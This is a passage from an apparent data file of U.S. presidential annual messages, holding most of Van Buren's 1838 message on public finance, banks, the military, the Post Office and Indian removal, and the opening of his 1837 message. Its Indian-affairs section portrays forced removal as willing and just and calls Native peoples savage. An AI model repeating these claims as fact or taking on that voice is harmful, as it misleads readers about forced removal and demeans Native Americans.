were\ndeposited in the Bank of the United States, the whole of that of the State\nbank deposit system, and concluding only on his retirement from office,\nafter that system had substantially failed in consequence of the suspension\nof specie payments.The way in which this defalcation was so long concealed and the steps taken\nto indemnify the United States, as far as practicable, against loss will\nalso be presented to you. The case is one which imperatively claims the\nattention of Congress and furnishes the strongest motive for the\nestablishment of a more severe and secure system for the safe-keeping and\ndisbursement of the public moneys than any that has heretofore existed.It seems proper, at all events, that by an early enactment similar to that\nof other countries the application of public money by an officer of\nGovernment to private uses should be made a felony and visited with severe\nand ignominious punishment. This is already in effect the law in respect to\nthe Mint, and has been productive of the most salutary results. Whatever\nsystem is adopted, such an enactment would be wise as an independent\nmeasure, since much of the public moneys must in their collection and\nultimate disbursement pass twice through the hands of public officers, in\nwhatever manner they are intermediately kept. The Government, it must be\nadmitted, has been from its commencement comparatively fortunate in this\nrespect. But the appointing power can not always be well advised in its\nselections, and the experience of every country has shown that public\nofficers are not at all times proof against temptation. It is a duty,\ntherefore, which the Government owes, as well to the interests committed to\nits care as to the officers themselves, to provide every guard against\ntransgressions of this character that is consistent with reason and\nhumanity. Congress can not be too jealous of the conduct of those who are\nintrusted with the public money, and I shall at all times be disposed to\nencourage a watchful discharge of this duty.If a more direct cooperation on the part of Congress in the supervision of\nthe conduct of the officers intrusted with the custody and application of\nthe public money is deemed desirable, it will give me pleasure to assist in\nthe establishment of any judicious and constitutional plan by which that\nobject may be accomplished. You will in your wisdom determine upon the\npropriety of adopting such a plan and upon the measures necessary to its\neffectual execution. When the late Bank of the United States was\nincorporated and made the depository of the public moneys, a right was\nreserved to Congress to inspect at its pleasure, by a committee of that\nbody, the books and the proceedings of the bank. In one of the States,\nwhose banking institutions are supposed to rank amongst the first in point\nof stability, they are subjected to constant examination by commissioners\nappointed for that purpose, and much of the success of its banking system\nis attributed to this watchful supervision.The same course has also, in view of its beneficial operation, been adopted\nby an adjoining State, favorably known for the care it has always bestowed\nupon whatever relates to its financial concerns. I submit to your\nconsideration whether a committee of Congress might not be profitably\nemployed in inspecting, at such intervals as might be deemed proper, the\naffairs and accounts of officers intrusted with the custody of the public\nmoneys. The frequent performance of this duty might be made obligatory on\nthe committee in respect to those officers who have large sums in their\npossession, and left discretionary in respect to others. They might report\nto the Executive such defalcations as were found to exist, with a view to a\nprompt removal from office unless the default was satisfactorily accounted\nfor, and report also to Congress, at the commencement of each session, the\nresult of their examinations and proceedings. It does appear to me that\nwith a subjection of this class of public officers to the general\nsupervision of the Executive, to examinations by a committee of Congress at\nperiods of which they should have no previous notice, and to prosecution\nand punishment as for felony for every breach of trust, the safe-keeping of\nthe public moneys might under the system proposed be placed on a surer\nfoundation than it has ever occupied since the establishment of the\nGovernment.The Secretary of the Treasury will lay before you additional information\ncontaining new details on this interesting subject. To these I ask your\nearly attention. That it should have given rise to great diversity of\nopinion can not be a subject of surprise. After the collection and custody\nof the public moneys had been for so many years connected with and made\nsubsidiary to the advancement of private interests, a return to the simple\nself-denying ordinances of the Constitution could not but be difficult. But\ntime and free discussion, eliciting the sentiments of the people, and aided\nby that conciliatory spirit which has ever characterized their course on\ngreat emergencies, were relied upon for a satisfactory settlement of the\nquestion. Already has this anticipation, on one important point at\nleast--the impropriety of diverting public money to private purposes--been\nfully realized. There is no reason to suppose that legislation upon that\nbranch of the subject would now be embarrassed by a difference of opinion,\nor fail to receive the cordial support of a large majority of our\nconstituents.The connection which formerly existed between the Government and banks was\nin reality injurious to both, as well as to the general interests of the\ncommunity at large. It aggravated the disasters of trade and the\nderangements of commercial intercourse, and administered new excitements\nand additional means to wild and reckless speculations, the disappointment\nof which threw the country into convulsions of panic, and all but produced\nviolence and bloodshed. The imprudent expansion of bank credits, which was\nthe natural result of the command of the revenues of the State, furnished\nthe resources for unbounded license in every species of adventure, seduced\nindustry from its regular and salutary occupations by the hope of abundance\nwithout labor, and deranged the social state by tempting all trades and\nprofessions into the vortex of speculation on remote contingencies.The same wide-spreading influence impeded also the resources of the\nGovernment, curtailed its useful operations, embarrassed the fulfillment of\nits obligations, and seriously interfered with the execution of the laws.\nLarge appropriations and oppressive taxes are the natural consequences of\nsuch a connection, since they increase the profits of those who are allowed\nto use the public funds, and make it their interest that money should be\naccumulated and expenditures multiplied. It is thus that a concentrated\nmoney power is tempted to become an active agent in political affairs; and\nall past experience has shown on which side that influence will be arrayed.\nWe deceive ourselves if we suppose that, it will ever be found asserting\nand supporting the rights of the community at large in opposition to the\nclaims of the few.In a government whose distinguishing characteristic should be a diffusion\nand equalization of its benefits and burdens the advantage of individuals\nwill be augmented at the expense of the community at large. Nor is it the\nnature of combinations for the acquisition of legislative influence to\nconfine their interference to the single object for which they were\noriginally formed. The temptation to extend it to other matters is, on the\ncontrary, not unfrequently too strong to be resisted. The rightful\ninfluence in the direction of public affairs of the mass of the people is\ntherefore in no slight danger of being sensibly and injuriously affected by\ngiving to a comparatively small but very efficient class a direct and\nexclusive personal interest in so important a portion of the legislation of\nCongress as that which relates to the custody of the public moneys. If laws\nacting upon private interests can not always be avoided, they should be\nconfined within the narrowest limits, and left wherever possible to the\nlegislatures of the States. When not thus restricted they lead to\ncombinations of powerful associations, foster an influence necessarily\nselfish, and turn the fair course of legislation to sinister ends rather\nthan to objects that advance public liberty and promote the general good.The whole subject now rests with you, and I can not but express a hope that\nsome definite measure will be adopted at the present session.It will not, I am sure, be deemed out of place for me here to remark that\nthe declaration of my views in opposition to the policy of employing banks\nas depositories of the Government funds can not justly be construed as\nindicative of hostility, official or personal, to those institutions; or to\nrepeat in this form and in connection with this subject opinions which I\nhave uniformly entertained and on all proper occasions expressed. Though\nalways opposed to their creation in the form of exclusive privileges, and,\nas a State magistrate, aiming by appropriate legislation to secure the\ncommunity against the consequences of their occasional mismanagement, I\nhave yet ever wished to see them protected in the exercise of rights\nconferred by law, and have never doubted their utility when properly\nmanaged in promoting the interests of trade, and through that channel the\nother interests of the community. To the General Government they present\nthemselves merely as State institutions, having no necessary connection\nwith its legislation or its administration. Like other State\nestablishments, they may be used or not in conducting the affairs of the\nGovernment, as public policy and the general interests of the Union may\nseem to require. The only safe or proper principle upon which their\nintercourse with the Government can be regulated is that which regulates\ntheir intercourse with the private citizen--the conferring of mutual\nbenefits. When the Government can accomplish a financial operation better\nwith the aid of the banks than without it, it should be at liberty to seek\nthat aid as it would the services of a private banker or other capitalist\nor agent, giving the preference to those who will serve it on the best\nterms. Nor can there ever exist an interest in the officers of the General\nGovernment, as such, inducing them to embarrass or annoy the State banks\nany more than to incur the hostility of any other class of State\ninstitutions or of private citizens. It is not in the nature of things that\nhostility to these institutions can spring from this source, or any\nopposition to their course of business, except when they themselves depart\nfrom the objects of their creation and attempt to usurp powers not\nconferred upon them or to subvert the standard of value established by the\nConstitution. While opposition to their regular operations can not exist in\nthis quarter, resistance to any attempt to make the Government dependent\nupon them for the successful administration of public affairs is a matter\nof duty, as I trust it ever will be of inclination, no matter from what\nmotive or consideration the attempt may originate.It is no more than just to the banks to say that in the late emergency most\nof them firmly resisted the strongest temptations to extend their paper\nissues when apparently sustained in a suspension of specie payments by\npublic opinion, even though in some cases invited by legislative\nenactments. To this honorable course, aided by the resistance of the\nGeneral Government, acting in obedience to the Constitution and laws of the\nUnited States, to the introduction of an irredeemable paper medium, may be\nattributed in a great degree the speedy restoration of our currency to a\nsound state and the business of the country to its wonted prosperity.The banks have but to continue in the same safe course and be content in\ntheir appropriate sphere to avoid all interference from the General\nGovernment and to derive from it all the protection and benefits which it\nbestows on other State establishments, on the people of the States, and on\nthe States themselves. In this, their true position, they can not but\nsecure the confidence and good will of the people and the Government, which\nthey can only lose when, leaping from their legitimate sphere, they attempt\nto control the legislation of the country and pervert the operations of the\nGovernment to their own purposes.Our experience under the act, passed at the last session, to grant\npreemption rights to settlers on the public lands has as yet been too\nlimited to enable us to pronounce with safety upon the efficacy of its\nprovisions to carry out the wise and liberal policy of the Government in\nthat respect. There is, however, the best reason to anticipate favorable\nresults from its operation. The recommendations formerly submitted to you\nin respect to a graduation of the price of the public lands remain to be\nfinally acted upon. Having found no reason to change the views then\nexpressed, your attention to them is again respectfully requested.Every proper exertion has been made and will be continued to carry out the\nwishes of Congress in relation to the tobacco trade, as indicated in the\nseveral resolutions of the House of Representatives and the legislation of\nthe two branches. A favorable impression has, I trust, been made in the\ndifferent foreign countries to which particular attention has been\ndirected; and although we can not hope for an early change in their policy,\nas in many of them a convenient and large revenue is derived from\nmonopolies in the fabrication and sale of this article, yet, as these\nmonopolies are really injurious to the people where they are established,\nand the revenue derived from them may be less injuriously and with equal\nfacility obtained from another and a liberal system of administration, we\ncan not doubt that our efforts will be eventually crowned with, success if\npersisted in with temperate firmness and sustained by prudent legislation.In recommending to Congress the adoption of the necessary provisions at\nthis session for taking the next census or enumeration of the inhabitants\nof the United States, the suggestion presents itself whether the scope of\nthe measure might not be usefully extended by causing it to embrace\nauthentic statistical returns of the great interests specially intrusted to\nor necessarily affected by the legislation of Congress.The accompanying report of the Secretary of War presents a satisfactory\naccount of the state of the Army and of the several branches of the public\nservice confided to the superintendence of that officer.The law increasing and organizing the military establishment of the United\nStates has been nearly carried into effect, and the Army has been\nextensively and usefully employed during the past season.I would again call to your notice the subjects connected with and essential\nto the military defenses of the country which were submitted to you at the\nlast session, but which were not acted upon, as is supposed, for want of\ntime. The most important of them is the organization of the militia on the\nmaritime and inland frontiers. This measure is deemed important, as it is\nbelieved that it will furnish an effective volunteer force in aid of the\nRegular Army, and may form the basis of a general system of organization\nfor the entire militia of the United States. The erection of a national\nfoundry and gunpowder manufactory, and one for making small arms, the\nlatter to be situated at some point west of the Allegany Mountains, all\nappear to be of sufficient importance to be again urged upon your\nattention.The plan proposed by the Secretary of War for the distribution of the\nforces of the United States in time of peace is well calculated to promote\nregularity and economy in the fiscal administration of the service, to\npreserve the discipline of the troops, and to render them available for the\nmaintenance of the peace and tranquillity of the Country. With this view,\nlikewise, I recommend the adoption of the plan presented by that officer\nfor the defense of the western frontier. The preservation of the lives and\nproperty of our fellow-citizens who are settled upon that border country,\nas well as the existence of the Indian population, which might be tempted\nby our want of preparation to rush on their own destruction and attack the\nwhite settlements, all seem to require that this subject should be acted\nupon without delay, and the War Department authorized to place that country\nin a state of complete defense against any assault from the numerous and\nwarlike tribes which are congregated on that border.It affords me sincere pleasure to be able to apprise you of the entire\nremoval of the Cherokee Nation of Indians to their new homes west of the\nMississippi. The measures authorized by Congress at its last session, with\na view to the long-standing controversy with them, have had the happiest\neffects. By an agreement concluded with them by the commanding general in\nthat country, who has performed the duties assigned to him on the occasion\nwith commendable energy and humanity, their removal has been principally\nunder the conduct of their own chiefs, and they have emigrated without any\napparent reluctance.The successful accomplishment of this important object, the removal also of\nthe entire Creek Nation with the exception of a small number of fugitives\namongst the Seminoles in Florida, the progress already made toward a speedy\ncompletion of the removal of the Chickasaws, the Choctaws, the\nPottawatamies, the Ottawas, and the Chippewas, with the extensive purchases\nof Indian lands during the present year, have rendered the speedy and\nsuccessful result of the long-established policy of the Government upon the\nsubject of Indian affairs entirely certain. The occasion is therefore\ndeemed a proper one to place this policy in such a point of view as will\nexonerate the Government of the United States from the undeserved reproach\nwhich has been cast upon it through several successive Administrations.\nThat a mixed occupancy of the same territory by the white and red man is\nincompatible with the safety or happiness of either is a position in\nrespect to which there has long since ceased to be room for a difference of\nopinion. Reason and experience have alike demonstrated its\nimpracticability. The bitter fruits of every attempt heretofore to overcome\nthe barriers interposed by nature have only been destruction, both physical\nand moral, to the Indian, dangerous conflicts of authority between the\nFederal and State Governments, and detriment to the individual prosperity\nof the citizen as well as to the general improvement of the country. The\nremedial policy, the principles of which were settled more than thirty\nyears ago under the Administration of Mr. Jefferson, consists in an\nextinction, for a fair consideration, of the title to all the lands still\noccupied by the Indians within the States and Territories of the United\nStates; their removal to a country west of the Mississippi much more\nextensive and better adapted to their condition than that on which they\nthen resided; the guarantee to them by the United States of their exclusive\npossession of that country forever, exempt from all intrusions by white\nmen, with ample provisions for their security against external violence and\ninternal dissensions, and the extension to them of suitable facilities for\ntheir advancement in civilization. This has not been the policy of\nparticular Administrations only, but of each in succession since the first\nattempt to carry it out under that of Mr. Monroe. All have labored for its\naccomplishment, only with different degrees of success. The manner of its\nexecution has, it is true, from time to time given rise to conflicts of\nopinion and unjust imputations; but in respect to the wisdom and necessity\nof the policy itself there has not from the beginning existed a doubt in\nthe mind of any calm, judicious, disinterested friend of the Indian race\naccustomed to reflection and enlightened by experience.Occupying the double character of contractor on its own account and\nguardian for the parties contracted with, it was hardly to be expected that\nthe dealings of the Federal Government with the Indian tribes would escape\nmisrepresentation. That there occurred ill the early settlement of this\ncountry, as in all others where the civilized race has succeeded to the\npossessions of the savage, instances of oppression and fraud on the part of\nthe former there is too much reason to believe. No such offenses can,\nhowever, be justly charged upon this Government since it became free to\npursue its own course. Its dealings with the Indian tribes have been just\nand friendly throughout; its efforts for their civilization constant, and\ndirected by the best feelings of humanity; its watchfulness in protecting\nthem from individual frauds unremitting; its forbearance under the keenest\nprovocations, the deepest injuries, and the most flagrant outrages may\nchallenge at least a comparison with any nation, ancient or modern, in\nsimilar circumstances; and if in future times a powerful, civilized, and\nhappy nation of Indians shall be found to exist within the limits of this\nnorthern continent it will be owing to the consummation of that policy\nwhich has been so unjustly assailed. Only a very brief reference to facts\nin confirmation of this assertion can in this form be given, and you are\ntherefore necessarily referred to the report of the Secretary of War for\nfurther details. To the Cherokees, whose case has perhaps excited the\ngreatest share of attention and sympathy, the United States have granted in\nfee, with a perpetual guaranty of exclusive and peaceable possession,\n13,554,135 acres of land on the west side of the Mississippi, eligibly\nsituated, in a healthy climate, and in all respects better suited to their\ncondition than the country they have left, in exchange for only 9,492, 160\nacres on the east side of the same river. The United States have in\naddition stipulated to pay them $5,600,000 for their interest in and\nimprovements on the lands thus relinquished, and $1,160,000 for subsistence\nand other beneficial purposes, thereby putting it in their power to become\none of the most wealthy and independent separate communities of the same\nextent in the world.By the treaties made and ratified with the Miamies, the Chippewas, the\nSioux, the Sacs and Foxes, and the Winnebagoes during the last year the\nIndian title to 18,458,000 acres has been extinguished. These purchases\nhave been much more extensive than those of any previous year, and have,\nwith other Indian expenses, borne very heavily upon the Treasury. They\nleave, however, but a small quantity of unbought Indian lands within the\nStates and Territories, and the Legislature and Executive were equally\nsensible of the propriety of a final and more speedy extinction of Indian\ntitles within those limits. The treaties, which were with a single\nexception made in pursuance of previous appropriations for defraying the\nexpenses, have subsequently been ratified by the Senate, and received the\nsanction of Congress by the appropriations necessary to carry them into\neffect. Of the terms upon which these important negotiations were concluded\nI can speak from direct knowledge, and I feel no difficulty in affirming\nthat the interest of the Indians in the extensive territory embraced by\nthem is to be paid for at its fair value, and that no more favorable terms\nhave been granted to the United States than would have been reasonably\nexpected in a negotiation with civilized men fully capable of appreciating\nand protecting their own rights. For the Indian title to 116,349,897 acres\nacquired since the 4th of March, 1829, the United States have paid\n$72,560,056 in permanent annuities, lands, reservations for Indians,\nexpenses of removal and subsistence, merchandise, mechanical and\nagricultural establishments and implements. When the heavy expenses\nincurred by the United States and the circumstance that so large a portion\nof the entire territory will be forever unsalable are considered, and this\nprice is compared with that for which the United States sell their own\nlands, no one can doubt that justice has been done to the Indians in these\npurchases also. Certain it is that the transactions of the Federal\nGovernment with the Indians have been uniformly characterized by a sincere\nand paramount desire to promote their welfare; and it must be a source of\nthe highest gratification to every friend to justice and humanity to learn\nthat not withstanding the obstructions from time to time thrown in its way\nand the difficulties which have arisen from the peculiar and impracticable\nnature of the Indian character, the wise, humane, and undeviating policy of\nthe Government in this the most difficult of all our relations, foreign or\ndomestic, has at length been justified to the world in its near approach to\na happy and certain consummation.The condition of the tribes which occupy the country set apart for them in\nthe West is highly prosperous, and encourages the hope of their early\ncivilization. They have for the most part abandoned the hunter state and\nturned their attention to agricultural pursuits. All those who have been\nestablished for any length of time in that fertile region maintain\nthemselves by their own industry. There are among them traders of no\ninconsiderable capital, and planters exporting cotton to some extent, but\nthe greater number are small agriculturists, living in comfort upon the\nproduce of their farms. The recent emigrants, although they have in some\ninstances removed reluctantly, have readily acquiesced in their unavoidable\ndestiny. They have found at once a recompense for past sufferings and an\nincentive to industrious habits in the abundance and comforts around them.\nThere is reason to believe that all these tribes are friendly in their\nfeelings toward the United States; and it is to be hoped that the\nacquisition of individual wealth, the pursuits of agriculture, and habits\nof industry will gradually subdue their warlike propensities and incline\nthem to maintain peace among themselves. To effect this desirable object\nthe attention of Congress is solicited to the measures recommended by the\nSecretary of War for their future government and protection, as well from\neach other as from the hostility of the warlike tribes around them and the\nintrusions of the whites. The policy of the Government has given them a\npermanent home and guaranteed to them its peaceful and undisturbed\npossession. It only remains to give them a government and laws which will\nencourage industry and secure to them the rewards of their exertions. The\nimportance of some form of government can not be too much insisted upon.\nThe earliest effects will be to diminish the causes and occasions for\nhostilities among the tribes, to inspire an interest in the observance of\nlaws to which they will have themselves assented, and to multiply the\nsecurities of property and the motives for self-improvement. Intimately\nconnected with this subject is the establishment of the military defenses\nrecommended by the Secretary of War, which have been already referred to.\nWithout them the Government will be powerless to redeem its pledge of\nprotection to the emigrating Indians against the numerous warlike tribes\nthat surround them and to provide for the safety of the frontier settlers\nof the bordering States.The case of the Seminoles constitutes at present the only exception to the\nsuccessful efforts of the Government to remove the Indians to the homes\nassigned them west of the Mississippi. Four hundred of this tribe emigrated\nin 1836 and 1,500 in 1837 and 1838, leaving in the country, it is supposed,\nabout 2,000 Indians. The continued treacherous conduct of these people; the\nsavage and unprovoked murders they have lately committed, butchering whole\nfamilies of the settlers of the Territory without distinction of age or\nsex, and making their way into the very center and heart of the country, so\nthat no part of it is free from their ravages; their frequent attacks on\nthe light-houses along that dangerous coast, and the barbarity with which\nthey have murdered the passengers and crews of such vessels as have been\nwrecked upon the reefs and keys which border the Gulf, leave the Government\nno alternative but to continue the military operations against them until\nthey are totally expelled from Florida. There are other motives which would\nurge the Government to pursue this course toward the Seminoles. The United\nStates have fulfilled in good faith all their treaty stipulations with the\nIndian tribes, and have in every other instance insisted upon a like\nperformance of their obligations. To relax from this salutary rule because\nthe Seminoles have maintained themselves so long in the territory they had\nrelinquished, and in defiance of their frequent and solemn engagements\nstill continue to wage a ruthless war against the United States, would not\nonly evince a want of constancy on our part, but be of evil example in our\nintercourse with other tribes. Experience has shown that but little is to\nbe gained by the march of armies through a country so intersected with\ninaccessible swamps and marshes, and which, from the fatal character of the\nclimate, must be abandoned at the end of the winter. I recommend,\ntherefore, to your attention the plan submitted by the Secretary of War in\nthe accompanying report, for the permanent occupation of the portion of the\nTerritory freed from the Indians and the more efficient protection of the\npeople of Florida from their inhuman warfare.From the report of the Secretary of the Navy herewith transmitted it will\nappear that a large portion of the disposable naval force is either\nactively employed or in a state of preparation for the purposes of\nexperience and discipline and the protection of our commerce. So effectual\nhas been this protection that so far as the information of Government\nextends not a single outrage has been attempted on a vessel carrying the\nflag of the United States within the present year, in any quarter, however\ndistant or exposed.The exploring expedition sailed from Norfolk on the 19th of August last,\nand information has been received of its safe arrival at the island of\nMadeira. The best spirit animates the officers and crews, and there is\nevery reason to anticipate from its efforts results beneficial to commerce\nand honorable to the nation.It will also be seen that no reduction of the force now in commission is\ncontemplated. The unsettled state of a portion of South America renders it\nindispensable that our commerce should receive protection in that quarter;\nthe vast and increasing interests embarked in the trade of the Indian and\nChina seas, in the whale fisheries of the Pacific Ocean, and in the Gulf of\nMexico require equal attention to their safety, and a small squadron may be\nemployed to great advantage on our Atlantic coast in meeting sudden demands\nfor the reenforcement of other stations, in aiding merchant vessels in\ndistress, in affording active service to an additional number of officers,\nand in visiting the different ports of the United States, an accurate\nknowledge of which is obviously of the highest importance.The attention of Congress is respectfully called to that portion of the\nreport recommending an increase in the number of smaller vessels, and to\nother suggestions contained in that document. The rapid increase and wide\nexpansion of our commerce, which is every day seeking new avenues of\nprofitable adventure; the absolute necessity of a naval force for its\nprotection precisely in the degree of its extension; a due regard to the\nnational rights and honor; the recollection of its former exploits, and the\nanticipation of its future triumphs whenever opportunity presents itself,\nwhich we may rightfully indulge from the experience of the past--all seem\nto point to the Navy as a most efficient arm of our national defense and a\nproper object of legislative encouragement.The progress and condition of the Post-Office Department will be seen by\nreference to the report of the Postmaster-General. The extent of post-roads\ncovered by mail contracts is stated to be 134,818 miles, and the annual\ntransportation upon them 34,580,202 miles. The number of post-offices in\nthe United States is 12,553, and rapidly increasing. The gross revenue for\nthe year ending on the 30th day of June last was $4,262,145; the accruing\nexpenditures, $4,680,068; excess of expenditures, $417,923. This has been\nmade up out of the surplus previously on hand. The cash on hand on the 1st\ninstant was $314,068. The revenue for the year ending June 30, 1838, was\n$161,540 more than that for the year ending June 30, 1837. The expenditures\nof the Department had been graduated upon the anticipation of a largely\nincreased revenue. A moderate curtailment of mail service consequently\nbecame necessary, and has been effected, to shield the Department against\nthe danger of embarrassment. Its revenue is now improving, and it will soon\nresume its onward course in the march of improvement.Your particular attention is requested to so much of the\nPostmaster-Generals report as relates to the transportation of the mails\nupon railroads. The laws on that subject do not seem adequate to secure\nthat service, now become almost essential to the public interests, and at\nthe same time protect the Department from combinations and unreasonable\ndemands.Nor can I too earnestly request your attention to the necessity of\nproviding a more secure building for this Department. The danger of\ndestruction to which its important books and papers are continually\nexposed, as well from the highly combustible character of the building\noccupied as from that of others in the vicinity, calls loudly for prompt\naction.Your attention is again earnestly invited to the suggestions and\nrecommendations submitted at the last session in respect to the District of\nColumbia.I feel it my duty also to bring to your notice certain proceedings at law\nwhich have recently been prosecuted in this District in the name of the\nUnited States, on the relation of Messrs. Stockton & Stokes, of the State\nof Maryland, against the Postmaster-General, and which have resulted in the\npayment of money out of the National Treasury, for the first time since the\nestablishment of the Government, by judicial compulsion exercised by the\ncommon-law writ of mandamus issued by the circuit court of this District.The facts of the case and the grounds of the proceedings will be found\nfully stated in the report of the decision, and any additional information\nwhich you may desire will be supplied by the proper Department. No\ninterference in the particular case is contemplated. The money has been\npaid, the claims of the prosecutors have been satisfied, and the whole\nsubject, so far as they are concerned, is finally disposed of; but it is on\nthe supposition that the case may be regarded as an authoritative\nexposition of the law as it now stands that I have thought it necessary to\npresent it to your consideration.The object of the application to the circuit court was to compel the\nPostmaster-General to carry into effect an award made by the Solicitor of\nthe Treasury, under a special act of Congress for the settlement of certain\nclaims of the relators on the Post-Office Department, which award the\nPostmaster-General declined to execute in full until he should receive\nfurther legislative direction on the subject. If the duty imposed on the\nPostmaster-General by that law was to be regarded as one of an official\nnature, belonging to his office as a branch of the executive, then it is\nobvious that the constitutional competency of the judiciary to direct and\ncontrol him in its discharge was necessarily drawn in question; and if the\nduty so imposed on the Postmaster-General was to be considered as merely\nministerial, and not executive, it yet remained to be shown that the\ncircuit court of this District had authority to interfere by mandamus, such\na power having never before been asserted or claimed by that court. With a\nview to the settlement of these important questions, the judgment of the\ncircuit court was carried by a writ of error to the Supreme Court of the\nUnited States. In the opinion of that tribunal the duty imposed on the\nPostmaster-General was not an official executive duty, but one of a merely\nministerial nature. The grave constitutional questions which had been\ndiscussed were therefore excluded from the decision of the case, the court,\nindeed, expressly admitting that with powers and duties properly belonging\nto the executive no other department can interfere by the writ of\nmandamus; and the question therefore resolved itself into this: Has\nCongress conferred upon the circuit court of this District the power to\nissue such a writ to an officer of the General Government commanding him to\nperform a ministerial act? A majority of the court have decided that it\nhas, but have rounded their decision upon a process of reasoning which in\nmy judgment renders further legislative provision indispensable to the\npublic interests and the equal administration of justice.It has long since been decided by the Supreme Court that neither that\ntribunal nor the circuit courts of the United States, held within the\nrespective States, possess the power in question; but it is now held that\nthis power, denied to both of these high tribunals (to the former by the\nConstitution and to the latter by Congress), has been by its legislation\nvested in the circuit court of this District. No such direct grant of power\nto the circuit court of this District is claimed, but it has been held to\nresult by necessary implication from several sections of the law\nestablishing the court. One of these sections declares that the laws of\nMaryland, as they existed at the time of the cession, should be in force in\nthat part of the District ceded by that State, and by this provision the\ncommon law in civil and criminal cases, as it prevailed in Maryland in\n1801, was established in that part of the District.In England the court of king's bench--because the Sovereign, who, according\nto the theory of the constitution, is the fountain of justice originally\nsat there in person, and is still deemed to be present in construction of\nlaw--alone possesses the high power of issuing the writ of mandamus, not\nonly to inferior jurisdictions and corporations, but also to magistrates\nand others, commanding them in the King's name to do what their duty\nrequires in cases where there is a vested right and no other specific\nremedy. It has been held in the case referred to that as the Supreme Court\nof the United States is by the Constitution rendered incompetent to\nexercise this power, and as the circuit court of this District is a court\nof general jurisdiction in cases at common law, and the highest court of\noriginal jurisdiction in the District, the right to issue the writ of\nmandamus is incident to its common-law powers. Another ground relied upon\nto maintain the power in question is that it was included by fair\nconstruction in the powers granted to the circuit courts of the United\nStates by the act \"to provide for the more convenient organization of the\ncourts of the United States,\" passed 13th February, 1801; that the act\nestablishing the circuit court of this District, passed the 27th day of\nFebruary, 1801, conferred upon that court and the judges thereof the same\npowers as were by law vested in the circuit courts of the United States and\nin the judges of the said courts; that the repeal of the first-mentioned\nact, which took place in the next year, did not divest the circuit court of\nthis District of the authority in dispute, but left it still clothed with\nthe powers over the subject which, it is conceded, were taken away from the\ncircuit courts of the United States by the repeal of the act of 13th\nFebruary, 1801.Admitting that the adoption of the laws of Maryland for a portion of this\nDistrict confers on the circuit court thereof, in that portion, the\ntranscendent extrajudicial prerogative powers of the court of king's bench\nin England, or that either of the acts of Congress by necessary implication\nauthorizes the former court to issue a writ of mandamus to an officer of\nthe United States to compel him to perform a ministerial duty, the\nconsequences are in one respect the same. The result in either case is that\nthe officers of the United States stationed in different parts of the\nUnited States are, in respect to the performance of their official duties,\nsubject to different laws and a different supervision--those in the States\nto one rule, and those in the District of Columbia to another and a very\ndifferent one. In the District their official conduct is subject to a\njudicial control from which in the States they are exempt.Whatever difference of opinion may exist as to the expediency of vesting\nsuch a power in the judiciary in a system of government constituted like\nthat of the United States, all must agree that these disparaging\ndiscrepancies in the law and in the administration of justice ought not to\nhe permitted to continue; and as Congress alone can provide the remedy, the\nsubject is unavoidably presented to your consideration.M. VAN BUREN", 
+    "name": "Martin van Buren"
+}
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+{
+    "date": "December 5, 1837", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:We have reason to renew the expression of our devout gratitude to the Giver\nof All Good for His benign protection. Our country presents on every side\nthe evidences of that continued favor under whose auspices it, has\ngradually risen from a few feeble and dependent colonies to a prosperous\nand powerful confederacy. We are blessed with domestic tranquillity and all\nthe elements of national prosperity. The pestilence which, invading for a\ntime some flourishing portions of the Union, interrupted the general\nprevalence of unusual health has happily been limited in extent and\narrested in its fatal career. The industry and prudence of our citizens are\ngradually relieving them from the pecuniary embarrassments under which\nportions of them have labored; judicious legislation and the natural and\nboundless resources of the country have afforded wise end timely aid to\nprivate enterprise, and the activity always characteristic of our people\nhas already in a great degree resumed its usual and profitable channels.The condition of our foreign relations has not materially changed since the\nlast annual message of my predecessor. We remain at peace with all nations,\nand no efforts on my part consistent with the preservation of our rights\nand the honor of the country shall be spared to maintain a position so\nconsonant to our institutions. We have faithfully sustained the foreign\npolicy with which the United States, under the guidance of their first\nPresident, took their stand in the family of nations--that of regulating\ntheir intercourse with other powers by the approved principles of private\nlife; asking and according equal rights and equal privileges; rendering and\ndemanding justice in all cases; advancing their own and discussing the\npretensions of others with candor, directness, and sincerity; appealing at\nall times to reason, but never yielding to force nor seeking to acquire\nanything for themselves by its exercise.A rigid adherence to this policy has left this Government with scarcely a\nclaim upon its justice for injuries arising from acts committed by its\nauthority. The most imposing and perplexing of those of the United States\nupon foreign governments for aggressions upon our citizens were disposed of\nby my predecessor. Independently of the benefits conferred upon our\ncitizens by restoring to the mercantile community so many millions of which\nthey had been wrongfully divested, a great service was also rendered to his\ncountry by the satisfactory adjustment of so many ancient and irritating\nsubjects of contention; and it reflects no ordinary credit on his\nsuccessful administration of public affairs that this great object was\naccomplished without compromising on any occasion either the honor or the\npeace of the nation.With European powers no new subjects of difficulty have arisen, and those\nwhich were under discussion, although not terminated, do not present a more\nunfavorable aspect for the future preservation of that good understanding\nwhich it has ever been our desire to cultivate.Of pending questions the most important is that which exists with the\nGovernment of Great Britain in respect to our northeastern boundary. It is\nwith unfeigned regret that the people of the United States must look back\nupon the abortive efforts made by the Executive, for a period of more than\nhalf a century, to determine what no nation should suffer long to remain in\ndispute--the true line which divides its possessions from those of other\npowers. The nature of the settlements on the borders of the United States\nand of the neighboring territory was for a season such that this, perhaps,\nwas not indispensable to a faithful performance of the duties of the\nFederal Government. Time has, however, changed this state of things, and\nhas brought about a condition of affairs in which the true interests of\nboth countries imperatively require that this question should be put at\nrest. It is not to be disguised that, with full confidence, often\nexpressed, in the desire of the British Government to terminate it, we are\napparently as far from its adjustment as we were at the time of signing the\ntreaty of peace in 1783. The sole result of long-pending negotiations and a\nperplexing arbitration appears to be a conviction on its part that a\nconventional line must be adopted, from the impossibility of ascertaining\nthe true one according to the description contained in that treaty. Without\ncoinciding in this opinion, which is not thought to be well rounded, my\npredecessor gave the strongest proof of the earnest desire of the United\nStates to terminate satisfactorily this dispute by proposing the\nsubstitution of a conventional line if the consent of the States interested\nin the question could be obtained. To this proposition no answer has as yet\nbeen received. The attention of the British Government has, however, been\nurgently invited to the subject, and its reply can not, I am confident, be\nmuch longer delayed. The general relations between Great Britain and the\nUnited States are of the most friendly character, and I am well satisfied\nof the sincere disposition of that Government to maintain them upon their\npresent footing. This disposition has also, I am persuaded, become more\ngeneral with the people of England than at any previous period. It is\nscarcely necessary to say to you how cordially it is reciprocated by the\nGovernment and people of the United States. The conviction, which must be\ncommon to all, of the injurious consequences that result from keeping open\nthis irritating question, and the certainty that its final settlement can\nnot be much longer deferred, will, I trust, lead to an early and\nsatisfactory adjustment. At your last session I laid before you the recent\ncommunications between the two Governments and between this Government and\nthat of the State of Maine, in whose solicitude 